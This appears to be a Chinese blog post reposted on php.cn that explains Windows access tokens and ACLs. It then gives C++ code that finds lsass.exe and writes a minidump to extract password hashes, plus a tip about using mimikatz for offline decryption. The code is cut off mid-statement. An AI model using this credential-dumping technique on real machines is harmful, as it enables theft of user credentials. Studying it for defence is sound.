从转储lsass学习Windows安全

星夢妙者
发布: 2025-06-23 08:02:31
原创
699人浏览过

0x1 前置理论

访问令牌(Access Token)是描述进程或线程安全上下文的对象。它包含与进程或线程关联的用户账户的身份和权限信息。

访问令牌分为两种类型:授权令牌(Delegation Token)和模拟令牌(Impersonation Token)。

访问令牌包含以下信息:

  • 用户账户的安全标识符(SID)
  • 用户所属组的 SID
  • 标识当前登录会话的登录 SID
  • 用户或用户组拥有的权限列表
  • 所有者 SID
  • 主要组的 SID
  • 用户在未指定安全描述符的情况下创建安全对象时系统使用的默认 DACL
  • 访问令牌的来源
  • 令牌是主要令牌还是模拟令牌
  • 可选的限制 SID 列表
  • 当前模拟级别
  • 其他统计信息

授权令牌(Delegation Token)用于交互式会话登录(如本地用户登录、远程桌面等)。

模拟令牌(Impersonation Token)用于非交互式登录(如 net user、远程共享访问)。

当用户登录计算机后,会生成一个访问令牌。该令牌在用户创建进程或线程时会被复制一份,用于描述与该进程相关联的用户账户的安全上下文。默认情况下,当进程的线程与安全对象交互时,系统使用授权令牌。此外,线程可以模拟客户账户。模拟允许线程使用客户端的安全上下文与安全对象进行交互。模拟客户端的线程同时具有授权令牌和模拟令牌。当用户注销后,系统会将授权令牌转换为模拟令牌,并在重启系统后清除。

安全对象是可以拥有安全描述符的对象,所有命名的 Windows 对象都是安全对象。一些未命名的对象,例如进程和线程对象也可以拥有安全描述符。对于大多数的安全对象来说,我们可以在创建对象的函数调用中指定对象的安全描述符。

从转储lsass学习Windows安全

安全描述符包含与安全对象关联的安全信息。安全描述符由 SECURITY_DESCRIPTOR 结构及其关联的安全信息组成。安全描述符可以包括以下安全信息:

  • 对象所有者和主要组的安全标识符(SID)
  • 指定允许或拒绝特定用户或组的访问权限的 DACL
  • 指定为对象生成审计记录的访问尝试类型的 SACL
  • 一组控制位,用以限定安全描述符或其各个成员的含义

访问控制列表(Access Control Lists,ACL)是访问控制条目(ACE)的列表。ACL 中每个 ACE 都标示一个受托者,并为该受托者指定访问权限。安全对象的安全描述符可以包含两种类型的 ACL:DACL 和 SACL。

自由访问控制列表(DACL)标示允许或者拒绝访问安全对象的受托人。当进程试图访问安全对象时,系统会检查对象的 DACL 中的 ACE,以确定是否授予对它的访问权限。如果对象没有 DACL,系统会授予每个人 Full Access 权限。如果对象的 DACL 没有 ACE,系统将拒绝所有访问该对象的尝试,因为 DACL 中没有可以通过匹配的 ACE 条目。系统按顺序检查 ACE,直到它找到一个或多个允许所有请求的访问权限的 ACE,或者直到任何一个请求的访问权限被拒绝。

系统访问控制列表(SACL)使管理员能够记录访问受保护对象的尝试。每个 ACE 指定特定受托者进行的访问尝试的类型,这些访问尝试会导致系统在安全事件日志中生成记录。SACL 中的 ACE 可以在访问尝试失败和/或成功时生成审计记录。

受托人是应用访问控制条目(ACE)的用户账户、组账户或者登录会话。访问控制列表(ACL)中的每个 ACE 都有一个标示受托人的安全描述符(SID)。

根据前置知识,我们可以了解用户登录系统后创建进程、线程,程序访问安全对象时的权限情况。

当用户登录计算机,凭证验证通过后便会拿到一份访问令牌(Access Token)。该 Token 在我们创建进程或线程时会被使用,复制 explorer.exe 中的该用户的访问令牌到新的进程/线程中用以权限分配。

当程序访问安全对象时,安全对象会检测自身的 DACL。若 DACL 不存在,则对所有程序开放访问权限;若 DACL 存在,会按顺序查找 DACL 内的 ACL 与程序的访问令牌比较判断,判断其是否具有访问权限。

从转储lsass学习Windows安全

MiniDumpWriteDump 函数:

BOOL MiniDumpWriteDump(  
    [in] HANDLE                            hProcess,  
    [in] DWORD                             ProcessId,  
    [in] HANDLE                            hFile,  
    [in] MINIDUMP_TYPE                     DumpType,  
    [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,  
    [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,  
    [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam);
登录后复制

函数结构如上所示,可利用此函数将进程转储。本文将 Lsass.exe 转储用以提取 Hash。

0x2 实现代码:

#include<iostream>
#include<windows.h>
#include<tlhelp32.h>
#include<dbghelp.h>
#include<tchar.h>
#pragma comment(lib,"DbgHelp.lib")

int main() {
    HANDLE LsassHandle = NULL;
    HANDLE OutFile = CreateFile(L"LSASS.DMP",GENERIC_WRITE|GENERIC_READ,0,NULL,CREATE_ALWAYS,NULL,NULL);
    DWORD PID;
    HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 Entry;
    Entry.dwSize = sizeof(PROCESSENTRY32);
    LPWSTR ProcessName;

    //查找lsass进程pid
    if (Process32First(Snapshot, &Entry)) {
        ProcessName = Entry.szExeFile;
        PID = Entry.th32ProcessID;
        while (_wcsicmp(L"lsass.exe",ProcessName)!=0) {
            Process32Next(Snapshot, &Entry);
            ProcessName = Entry.szExeFile;
            PID = Entry.th32ProcessID;
        }
        std::cout 
登录后复制

效果展示,另外,若在解密文件时出现ERROR kuhl_m_sekurlsa_acquireLSA ; Key import,可尝试低版本 mimikatz 离线解密。如 2.1.1 版本。

从转储lsass学习Windows安全从转储lsass学习Windows安全

0x3 参考文章

https://www.php.cn/link/9ac99aa820030753f4101f35de5ce163

https://www.php.cn/link/fe4fdc4feb7d048580b56008e6ba7bee

以上就是从转储lsass学习Windows安全的详细内容,更多请关注php中文网其它相关文章!

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号